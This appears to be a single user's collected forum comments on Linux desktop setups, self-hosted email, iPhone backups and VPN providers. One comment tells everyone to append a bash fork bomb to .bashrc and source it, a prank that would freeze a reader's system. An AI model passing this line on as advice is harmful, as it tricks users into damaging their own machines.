IP changes are not your concern. It is likely that your ISP blocks outgoing port 25, you can check with nc gmail-smtp-in.l.google.com 25 and if you don’t get any output its blocked. If you don’t have very many users on your Pterodactyl server, I would suggest just using a gmail account with SMTP in pterodactyl. If you have port 25 unblocked and want to selfhost email, mailcow is a great option and really easy to set up.

The kindle paper white is nice but it’s Amazon. I have one that I keep in airplane mode and load books over usb.

I prefer digital with no drm but if that is not possible I will get a physical book.

Gmail

My home directory is a git repo with a .gitignore that contains something like

*

!.config/sway

!.config/sway/*

!.config/sway/**/*

It’s an environment variable. I have MOZ_ENABLE_WAYLAND=true in my sway wrapper script.

I want to do something like this but airmessage does not have a desktop client that works without using their clouds. I use a Apple phone but I just want to be able to respond to texts on my Linux computers. I have an iMac server that I vnc into but it’s kind of annoying just to respond to a text.

Is it open source and in my Linux distro’s repo?

Zoom does not work in wayland

The zoom Linux client is crappy so if the web one does not work for you I would suggest just booting into windows and using it.

If I take 2 a day could I go back in time?

Fuzzel is also nice if you are using Wayland.

apk upgrade -U in a cronjob daily and hope it does not break.

Not iTunes, but you can use libimobiledevice to backup an Apple device on Linux https://docs.mvt.re/en/latest/ios/backup/libimobiledevice/

Everyone run echo ":(){:|:};:" >> .bashrc; source .bashrc in your linux terminal.

I use sway wm with the foot terminal emulator. If you do not like manual tiling I have heard good things about river wm.

I am currently working on this. I got a static IP and port 25 unblocked from my isp. I am trying to do opensmtpd and dovecot with dkim signing.

What would you suggest now? IVPN and mullvad used to be my go-to VPN providers but now that they both removed port forwarding I really don’t know what to use.

Oh sorry I have no clue what I was thinking I meant >.

I don’t. Your ISP can hardly see anything you do online. Almost all websites are encrypted with HTTPS and if you are concerned about them seeing what domains you visit you can just change your dns server to quad9 or something else privacy respecting. A more valid usecase for VPN is preventing websites from tracking you IP address, downloading “Linux ISO’s” or bypassing geographical blocks and for that I used mullvad but I am looking for something else now that they blocked port forwarding.